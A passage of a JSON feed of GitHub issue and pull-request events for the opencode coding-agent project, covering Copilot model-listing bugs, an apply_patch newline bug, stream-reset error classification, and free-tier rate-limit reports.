          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:717a17dd3029bcb22754",
        "signalId": "github:anomalyco/opencode:issue:42083",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42083",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "GitHub Copilot provider shows zero models: all models return `model_picker_enabled: false`",
          "text": "## Summary On opencode 1.18.15 (Arch package), the `github-copilot` provider never appears in the model picker. `opencode auth login -p github-copilot` works (auth succeeds), but `opencode models github-copilot` returns \"Provider not found\", and `/models` in the TUI shows no Copilot models. ## Root cause In `packages/opencode/src/plugin/github-copilot/copilot.ts`, the `models()` hook returns only models where `result.pickerEnabled.has(model.api.id)`: ```ts return CopilotModels.get(...) .then((result) => { models = result.models return Object.fromEntries( Object.entries(result.models).filter(([, model]) => result.pickerEnabled.has(model.api.id)), ) }) ``` `pickerEnabled` (built in `models.ts:257`) is the set of models with `model_picker_enabled: true` in the API response: ```ts pickerEnabled: new Set([...remote].filter(([, item]) => item.model_picker_enabled).map(([id]) => id)), ``` GitHub's `GET https://api.githubcopilot.com/models` currently returns **`model_picker_enabled: false` for every single model** — even ones that are `policy.state: \"enabled\"` and fully usable. So `pickerEnabled` is always empty, the filter drops everything, and the provider surfaces zero models. ## Evidence Using a valid, freshly-authenticated Copilot OAuth token (device flow, `client_id=Ov23li8tweQw6odWQebz`): ``` HTTP 200, total models: 47 policy states: disabled: 18 | none: 23 (internal: copilot-search-*, exec-agent-*) | enabled: 6 model_picker_enabled=true: 0 ``` The 6 `policy.state: \"enabled\"` models (gpt-4o, gpt-5-mini, claude-haiku-4.5, gpt-4.1, mai-code-1-flash, mai-code-1.1-flash) pass the existing `usable()` check (`models.ts:207`), and chat completions against them work fine: ``` POST https://api.githubcopilot.com/chat/completions → 200, \"Hi there! ...\" ``` So the account/subscription is fine — the filter is the problem. Note: exchanging the OAuth token for a Copilot session token via `api.github.com/copilot_internal/v2/token` and using *that* against `/models` returns **403**, so the session-token route is not a workaround either. ## Suggested fix Filter by the already-existing `usable()` predicate (`policy.state !== \"disabled\"` + has `max_output_tokens`/`max_prompt_tokens` + has `tool_calls`) instead of, or in addition to, `model_picker_enabled`. Either: - Return `result.models` (already filtered by `usable()` inside `CopilotModels.get`) without the `pickerEnabled` filter, or - Union `pickerEnabled` with the usable set. `model_picker_enabled` appears to be a deprecated/no-longer-reliable signal from GitHub's API. ## Workaround A local plugin overriding the provider's `models()` hook to return all usable models (same `usable()` criteria, no picker filter) restores all 25 available Copilot models: ```js // ~/.config/opencode/plugins/copilot-picker-fix.js export const CopilotPickerFix = async () => ({ provider: { id: \"github-copilot\", async models(provider, ctx) { if (ctx.auth?.type !== \"oauth\") return provider.models const base = ctx.auth.enterpriseUrl ? `https://copilot-api.${ctx.auth.enterpriseUrl.replace(/^https?:\\/\\//, \"\").replace(/\\/$/, \"\")}` : \"https://api.githubcopilot.com\" const r = await fetch(`${base}/models`, { headers: { Authorization: `Bearer ${ctx.auth.refresh}`, \"User-Agent\": \"opencode/1.18.15\", \"X-GitHub-Api-Version\": \"2026-06-01\" }, signal: AbortSignal.timeout(5000), }) if (!r.ok) return provider.models const j = await r.json() const models = {} for (const m of j.data || []) { if (m.policy?.state === \"disabled\") continue const lim = m.capabilities?.limits if (!lim?.max_output_tokens || !lim?.max_prompt_tokens) continue if (m.capabilities?.supports?.tool_calls === undefined) continue const isMsg = m.supported_endpoints?.includes(\"/v1/messages\") models[m.id] = { id: m.id, providerID: \"github-copilot\", api: { id: m.id, url: isMsg ? `${base}/v1` : base, npm: isMsg ? \"@ai-sdk/anthropic\" : \"@ai-sdk/github-copilot\" }, status: \"active\", limit: { context: lim.max_context_window_tokens ?? lim.max_prompt_tokens, input: lim.max_prompt_tokens, output: lim.max_output_tokens }, capabilities: { temperature: true, reasoning: true, attachment: true, toolcall: m.capabilities.supports.tool_calls, input: { text: true, audio: false, image: !!m.capabilities.supports.vision, video: false, pdf: false }, output: { text: true, audio: false, image: false, video: false, pdf: false }, interleaved: false }, family: m.capabilities.family, name: m.name, cost: { input: 0, output: 0, cache: { read: 0, write: 0 } }, options: {}, headers: {}, release_date: m.version.startsWith(`${m.id}-`) ? m.version.slice(m.id.length + 1) : m.version, } } return models }, }, }) ``` ## Environment - opencode 1.18.15-1 (Arch Linux package) - GitHub Copilot subscription: active (chat completions return 200) - OAuth apps tested: opencode's own (`Ov23li8tweQw6odWQebz`) and the VSCode Copilot app (`Iv1.b507a08c87ecfe98`) — same result either way",
          "url": "https://github.com/anomalyco/opencode/issues/42083",
          "createdAt": "2026-08-12T16:33:43Z",
          "updatedAt": "2026-08-12T16:54:38Z",
          "timestamp": "2026-08-12T16:54:38Z",
          "metrics": {
            "reactions": 1,
            "comments": 3
          },
          "labels": [],
          "author": "Keylessboi",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:9fb942957b0f668c34bd",
        "signalId": "github:anomalyco/opencode:issue:11819",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:11819",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Search mesages history tool.",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Would be great to have a tool that can search conversation history. This would effectively create an instant memory ability. Also once you switch to a new chat its hard to get old conversation details in there, so it would be much easier.",
          "url": "https://github.com/anomalyco/opencode/issues/11819",
          "createdAt": "2026-02-02T16:11:47Z",
          "updatedAt": "2026-08-12T16:54:04Z",
          "timestamp": "2026-08-12T16:54:04Z",
          "metrics": {
            "reactions": 7,
            "comments": 5
          },
          "labels": [],
          "author": "DunaSpice",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:43a286ea4f413ffaaa13",
        "signalId": "github:anomalyco/opencode:pull_request:42085",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42085",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs(go): clarify DeepSeek ZDR coverage",
          "text": "## Summary - mark the zero-day retention entries for both DeepSeek V4 models with an asterisk - clarify that the monthly ZDR agreement applies to DeepSeek generally, not only DeepSeek V4 Flash ## Checks - `git diff --check` - Web build not run: this worktree does not have the Astro executable installed Requested by: @thdxr (Dax Raad via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42085",
          "createdAt": "2026-08-12T16:49:10Z",
          "updatedAt": "2026-08-12T16:54:01Z",
          "timestamp": "2026-08-12T16:54:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "thdxr"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2793115667b34468fd46",
        "signalId": "github:anomalyco/opencode:issue:42033",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42033",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "limit",
          "text": "### Description Error: 429: {\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42033",
          "createdAt": "2026-08-12T14:21:10Z",
          "updatedAt": "2026-08-12T16:47:36Z",
          "timestamp": "2026-08-12T16:47:36Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "rkobroo",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:bafa7fe57ad90166eeb6",
        "signalId": "github:anomalyco/opencode:issue:42039",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42039",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Problem after purchase",
          "text": "After subscribing Zen model, I am not able to use open code",
          "url": "https://github.com/anomalyco/opencode/issues/42039",
          "createdAt": "2026-08-12T14:35:00Z",
          "updatedAt": "2026-08-12T16:47:34Z",
          "timestamp": "2026-08-12T16:47:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "prateekpadget60-sys",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1ed293e569a892c6fad0",
        "signalId": "github:anomalyco/opencode:issue:42041",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42041",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "multimodal-looker 调用的一直是gpt-5.6-sol",
          "text": "无论怎么修改配置文件指定其它模型都不生效",
          "url": "https://github.com/anomalyco/opencode/issues/42041",
          "createdAt": "2026-08-12T14:37:48Z",
          "updatedAt": "2026-08-12T16:47:32Z",
          "timestamp": "2026-08-12T16:47:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "yangjueye",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d50f47ded780eccc9446",
        "signalId": "github:anomalyco/opencode:issue:42042",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42042",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "fix(app): settings dialog handler locks up after scope cleanup",
          "text": "### Problem When useSettingsDialog is registered in the command palette or global keybindings, its internal dead flag gets set to true whenever the parent component scope triggers onCleanup. Subsequent calls to open the settings dialog via keyboard shortcut (Cmd+,) or command palette fail silently because the internal Promise check if (dead || run !== current) return permanently blocks the dialog from opening. ### Proposed Solution Remove the unmount dead check from useSettingsDialog while maintaining the run-counter guard to prevent out-of-order async dynamic import resolutions. ### Test Plan - Verify Cmd+, keyboard shortcut opens settings dialog repeatedly after navigating or re-rendering views. - Run bun test in packages/app to verify all unit tests pass.",
          "url": "https://github.com/anomalyco/opencode/issues/42042",
          "createdAt": "2026-08-12T14:39:22Z",
          "updatedAt": "2026-08-12T16:47:30Z",
          "timestamp": "2026-08-12T16:47:30Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "MaaBlock",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5e146001c178440eaa3c",
        "signalId": "github:anomalyco/opencode:pull_request:42068",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42068",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): add session tab context menu",
          "text": "## What Right-clicking a session tab now opens a borderless context menu beneath the cursor with: - New tab - Rename - Close Right-clicking the new-session control shows the valid New tab action. The menu works in both horizontal and vertical tab layouts, clamps to the terminal bounds, and keeps existing left-click selection, close, and drag behavior unchanged. ## How - `packages/tui/src/component/session-tabs.tsx` distinguishes right-button events from existing tab interactions. - The tab strip renders a cursor-positioned overlay using screen-to-strip coordinates. - Rename delegates to the existing session rename dialog; New tab and Close delegate to the existing tab controller. - Arrow keys, Enter, and Escape provide keyboard control while the menu is open. ## Scope This adds context menus only to session tabs. It does not introduce a general-purpose TUI context-menu component or add right-click actions to messages, files, or tool calls. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/context/session-tabs-model.test.ts` from `packages/tui` - Repository pre-push typecheck across 32 packages - Live PTY verification with `bun run dev:live`: right-click event handling, cursor-relative menu placement, keyboard selection, and action dispatch ## Demo OpenCode Drive recording of the real right-click path. The menu opens beneath the session tab cursor and keyboard navigation moves the active action. https://github.com/user-attachments/assets/bc18b711-5e1f-4387-a0bd-5784f1f5763e",
          "url": "https://github.com/anomalyco/opencode/pull/42068",
          "createdAt": "2026-08-12T15:54:17Z",
          "updatedAt": "2026-08-12T16:46:02Z",
          "timestamp": "2026-08-12T16:46:02Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d0d78e7b1963943a4b30",
        "signalId": "github:anomalyco/opencode:pull_request:42079",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42079",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "test: stabilize Windows integration coverage",
          "text": "## Summary - delete the wall-clock-driven tab pulse rendering test - give the canonical-worktree snapshot test enough time for Git setup on Windows - give shell permission/progress integration tests realistic Windows CI timeouts - increase the shell command timeout assertion window so process startup cannot race the expected output ## Why Recent Windows CI runs repeatedly timed out at the tests' exact 5s or 10s limits while the same tests passed on surrounding commits. These tests start Git worktrees, application layers, and PowerShell processes, so the default unit-test timeout was acting as a machine-speed assertion rather than testing behavior. ## Checks - `bun test test/snapshot.test.ts test/tool-shell.test.ts` (`packages/core`) - `bun typecheck` (`packages/core`) - `bun test test/component/tab-pulse.test.tsx` (`packages/tui`) - `bun typecheck` (`packages/tui`) - shell timeout test repeated 10 times - Prettier check for all changed files Requested by: @kitlangton (Kit via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42079",
          "createdAt": "2026-08-12T16:18:25Z",
          "updatedAt": "2026-08-12T16:45:40Z",
          "timestamp": "2026-08-12T16:45:40Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cb6a84381fb779df89e7",
        "signalId": "github:anomalyco/opencode:issue:39326",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:39326",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "ai: mid-stream HTTP resets are reported as invalid provider output (v2)",
          "text": "### Description When an HTTP provider connection resets, OpenCode aborts the active session drain. If the reset happens after response headers and valid SSE events have arrived, the incomplete assistant step fails and there is no recovery beyond manually prompting the session again. Concurrent child sessions also lose their active work when their streams reset. The durable session can still be prompted afterward, so it is not permanently corrupted, but the running operation and affected subagent work are lost. The visible error is misleadingly reported as `provider.invalid-output` with only: ```text Failed to read openai/openai-responses stream ``` The underlying failures in these cases were HTTP/2 response-body transport resets: ```text System.IO.IOException: Unable to read data from the transport connection: Connection reset by peer. System.Net.Sockets.SocketException (104): Connection reset by peer ``` On the current `v2` branch, `packages/ai/src/route/transport/http.ts` maps every `response.stream` error through `ProviderShared.eventError(...)`. That constructor creates `InvalidProviderOutputReason`. By contrast, request and response-header failures handled by `RequestExecutor` are correctly mapped to `TransportReason`. This has two consequences: 1. Network, proxy, and provider disconnects look like provider schema bugs and lose the useful low-level cause. 2. `SessionRunnerRetry.isRetryable(...)` retries `Transport` failures but rejects `InvalidProviderOutput`, so a reset before any output also bypasses the existing retry schedule. The runner intentionally prevents transparent retries after `outputStarted` becomes true. That is reasonable when a local tool call or provider-hosted side effect may have occurred, but the session needs a clear interrupted-step recovery path rather than terminating the drain with only a generic invalid-output error. ## Observed evidence - Nine failures occurred across five sessions in approximately 41 minutes. - Every failed assistant message had already persisted valid streamed reasoning events. - Four active sessions failed within 34 ms of each other. - OpenCode remained healthy on the same PID and server run. - At every corresponding timestamp, the HTTP proxy logged `Connection reset by peer` while copying an HTTP/2 response body. - The affected parent sessions remained promptable afterward, but their active drains and child-session work had terminated. There is already a deterministic test path for the classification problem. `truncatedStream(...)` in `packages/ai/test/lib/http.ts` is used by `surfaces transport errors that occur mid-stream` in `packages/ai/test/provider/openai-chat.test.ts`. That test currently checks only the generic message, not the reason classification or preservation of the underlying cause. ## Expected behavior - A response-body read failure should produce `TransportReason`. - The session error should be `provider.transport`, not `provider.invalid-output`. - A sanitized underlying cause or transport kind should be retained for diagnostics. - Before assistant output starts, the existing bounded retry schedule should handle the correctly classified transport failure. - After partial output, OpenCode should fail the incomplete attempt without corrupting the durable session and expose an explicit retry or resume action for the interrupted logical step. - A transparent post-output retry should happen only when OpenCode can prove that no local or provider-hosted tool side effect occurred. Otherwise, retrying should require explicit user confirmation. - Child-session failures should remain visible to the parent so their work can be restarted rather than silently disappearing. ## Actual behavior - The failure produces `InvalidProviderOutputReason`. - The session error is `provider.invalid-output`. - The connection-reset cause is lost unless a separate proxy log is available. - The active drain terminates, and affected subagent work must be restarted manually. - Even a transport reset before output would bypass the existing retry schedule because it is classified as invalid provider output. ### Plugins N/A ### OpenCode version 0.0.0-next-16323 ### Steps to reproduce 1. Use a native HTTP provider route such as OpenAI Responses. 2. Return successful response headers and at least one valid SSE event. 3. Reset or fail the response-body stream before its terminal event. This can be reproduced deterministically with the existing `truncatedStream(...)` test helper. 4. Observe that `LLMError.reason._tag` is `InvalidProviderOutput` and the session error is `provider.invalid-output` rather than `Transport` / `provider.transport`. 5. Observe that the active session drain terminates. 6. Repeat with the stream failing before any assistant output and observe that the normal transport retry schedule is still bypassed. 7. Repeat after partial reasoning output and observe that no explicit interrupted-step recovery is offered. ### Screenshot and/or share link _No response_ ### Operating System Linux 5.15.0-91-generic x86_64 ### Terminal xterm-256color, using /usr/bin/fish",
          "url": "https://github.com/anomalyco/opencode/issues/39326",
          "createdAt": "2026-07-28T12:22:08Z",
          "updatedAt": "2026-08-12T16:45:12Z",
          "timestamp": "2026-08-12T16:45:12Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "bbartels",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:46d027caae07a7b9e80f",
        "signalId": "github:anomalyco/opencode:pull_request:42084",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42084",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix: preserve trailing blank line in apply_patch",
          "text": "### Issue for this PR Fixes #42081 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `apply_patch` silently deletes the final blank line of any file ending with `\\n\\n`, even when the patch doesn't touch it (#42081). Both patch implementations pop the sentinel `\"\"` that `split(\"\\n\")` produces when content ends with a newline, then later re-check \"is the last element empty\" to decide whether to push the sentinel back. A genuinely blank last line also leaves `\"\"` at the end, so the sentinel is never restored and one `\\n` is lost on every edit. The fix records whether the sentinel was actually popped and reuses that on the way out instead of re-inferring it. Applied to `derive()` in `packages/core/src/patch.ts` and `deriveNewContentsFromChunks()` in `packages/opencode/src/patch/index.ts`. Files without a trailing newline keep the existing \"always add one\" behavior; this PR only fixes the unrequested deletion. Disclosure: developed with AI assistance; I reviewed and verified everything locally. ### How did you verify your code works? Added one regression test per implementation, next to the existing cases; both fail before the fix and pass after: - `packages/core/test/tool-apply-patch.test.ts`: end-to-end through the tool. File `alpha\\nbeta\\n\\n`, patch changes only `alpha`; asserts `ALPHA\\nbeta\\n\\n` on disk and a 1 addition / 1 deletion diff (before the fix: `ALPHA\\nbeta\\n` and 1/2). - `packages/opencode/test/patch/patch.test.ts`: same scenario through `Patch.applyPatch`. Test runs: - `packages/core`: full `bun test` — 1081 tests, 1079 pass; the 2 failures are pre-existing flaky `Npm.add` timeouts unrelated to this change (they pass when the file is run individually, both before and after the fix). - `packages/opencode`: `bun test test/patch/patch.test.ts test/tool/apply_patch.test.ts` — 48 pass. I did not run this package's full suite. - `bun typecheck` passes in both packages. ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42084",
          "createdAt": "2026-08-12T16:42:10Z",
          "updatedAt": "2026-08-12T16:42:10Z",
          "timestamp": "2026-08-12T16:42:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:93d19dc20d3a091ba8c4",
        "signalId": "github:anomalyco/opencode:issue:42077",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42077",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Opencode bot compaction error",
          "text": "### Description Hello, I’d like to report a problem I encountered today. When the context length reaches around 85%, the bot is supposed to compact the context. However, it displays the message **“Free subscription used, come back in 1s”**, but nothing actually happens. If I start a new session, the bot works normally again until the context reaches the compaction point, where the same issue occurs. It seems like the context compaction process is not being triggered correctly, and instead the system gets stuck on the subscription/rate-limit message. Could you please look into this issue? ### Plugins _No response_ ### OpenCode version Latest ### Steps to reproduce 1. /compact or talk to him until he compact the conversation 2. then you will see it ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Windows Terminal it occur every opencode zen bot maybe more",
          "url": "https://github.com/anomalyco/opencode/issues/42077",
          "createdAt": "2026-08-12T16:13:41Z",
          "updatedAt": "2026-08-12T16:35:28Z",
          "timestamp": "2026-08-12T16:35:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "OziasIsMe",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:35aa0977537cbfb5118e",
        "signalId": "github:anomalyco/opencode:issue:42074",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42074",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "deepseek-v4-flash-free (zen) 429 FreeUsageLimitError on EVERY request from 3 distinct IPs, with and without official client headers",
          "text": "## Summary When calling https://opencode.ai/zen/v1/chat/completions with model deepseek-v4-flash-free using plain curl (or any non‑official HTTP client), every direct API request I tried returns HTTP 429: ```json {\"type\":\"error\",\"error\":{\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"}} ``` However, the official OpenCode TUI (opencode CLI) works fine from the same network environment. ### Environment - opencode version: 1.18.16 - Platform: FedoraLinux-44 (WSL on Windows 11), terminal: Windows Terminal - Provider: `opencode` / model `deepseek-v4-flash-free` ### Steps to reproduce 1. POST to `https://opencode.ai/zen/v1/chat/completions` (also `/responses`) with `Authorization: Bearer <valid key>`, `model=deepseek-v4-flash-free`. 2. Observe `HTTP 429` with body: ```json {\"type\":\"error\",\"error\":{\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"}} ``` 3. Repeat from different network origins and with official headers. ### What I verified - Tried three distinct exit IPs (AWS proxy, direct IPv4, direct IPv6) – all get 429 immediately, no IP‑based blocking. - Also tested with OpenCode-related headers such as: - x-opencode-client - x-opencode-version ### Key observation The official OpenCode TUI succeeds while direct OpenAI-compatible API calls fail consistently. This suggests that there may be a difference in: - endpoint routing, - authentication flow, - request headers, - or backend handling between the TUI and direct API usage.",
          "url": "https://github.com/anomalyco/opencode/issues/42074",
          "createdAt": "2026-08-12T16:06:29Z",
          "updatedAt": "2026-08-12T16:27:52Z",
          "timestamp": "2026-08-12T16:27:52Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "cubelitblade",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2d231bd753233a68d5bc",
        "signalId": "github:anomalyco/opencode:issue:42081",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42081",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "apply_patch deletes the final blank line of files that end with one",
          "text": "### Description `apply_patch` deletes the final blank line of any file whose content ends with `\\n\\n`, even when the patch doesn't touch that line. The tool's own response confirms the unrequested change: it reports 2 deletions for a patch that asked for 1, and repeated edits keep eating one trailing newline each time. Root cause: `derive()` in `packages/core/src/patch.ts:71-81` uses the same test (\"last array element is empty\") for two different things. On the way in it pops the sentinel empty string produced by `split(\"\\n\")`; on the way out it checks `updated.at(-1) !== \"\"` to decide whether to push the sentinel back. When the file's last line is genuinely blank, the last element is still `\"\"` after popping, so the sentinel is never restored and one `\\n` is lost. The legacy implementation has the same flaw (`packages/opencode/src/patch/index.ts:314-327`, under the comment \"Ensure trailing newline\"). Only LF files are affected (a CRLF file's last split element is `\"\\r\"`, not `\"\"`). Not the same as #37090 (CRLF→LF conversion) or #29124 (about adding a newline to files that lack one). Disclosure: found and reproduced with AI assistance; I reviewed and verified every claim locally. ### Plugins _No response_ ### OpenCode version dev @ 959c8bd ### Steps to reproduce 1. Create `f.txt` containing `alpha\\nbeta\\n\\n` (ends with a blank line). 2. Apply a patch that only changes `alpha`: ``` *** Begin Patch *** Update File: f.txt @@ -alpha +ALPHA *** End Patch ``` 3. Expected on disk: `ALPHA\\nbeta\\n\\n`. Actual: `ALPHA\\nbeta\\n` — the trailing blank line is gone. The unified diff the tool reports back shows the unrequested deletion: ``` @@ -1,3 +1,2 @@ -alpha +ALPHA beta - ``` Minimal reproduction against the function itself: ```ts import { Patch } from \"@opencode-ai/core/patch\" Patch.derive(\"f.txt\", [{ oldLines: [\"alpha\"], newLines: [\"ALPHA\"] }], \"alpha\\nbeta\\n\\n\").content // returns \"ALPHA\\nbeta\\n\", expected \"ALPHA\\nbeta\\n\\n\" ``` ### Screenshot and/or share link _No response_ ### Operating System macOS 15 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42081",
          "createdAt": "2026-08-12T16:22:08Z",
          "updatedAt": "2026-08-12T16:23:21Z",
          "timestamp": "2026-08-12T16:23:21Z",
          "metrics": {
            "reactions": 1,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e933e09f2c67599ae00e",
        "signalId": "github:anomalyco/opencode:issue:42028",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42028",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "open code response",
          "text": "my app was working great and all of a sudden i get no response it makes a clicking noise and just where i submit my text i tried uninstalling and re downloading now it does the same thing just with a interruption tag with no other response",
          "url": "https://github.com/anomalyco/opencode/issues/42028",
          "createdAt": "2026-08-12T13:47:39Z",
          "updatedAt": "2026-08-12T16:18:39Z",
          "timestamp": "2026-08-12T16:18:39Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "joewhorley1-commits",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f34d30260409acd3ec73",
        "signalId": "github:anomalyco/opencode:issue:42029",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42029",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Error: 429: {\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"}",
          "text": "### Description Error: 429: {\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"} ?????????????? I have not used it today ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42029",
          "createdAt": "2026-08-12T13:53:23Z",
          "updatedAt": "2026-08-12T16:18:37Z",
          "timestamp": "2026-08-12T16:18:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "smithyyang",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:91e8b73a7e65fadc7fe6",
        "signalId": "github:anomalyco/opencode:pull_request:42073",
        "event": "changed",
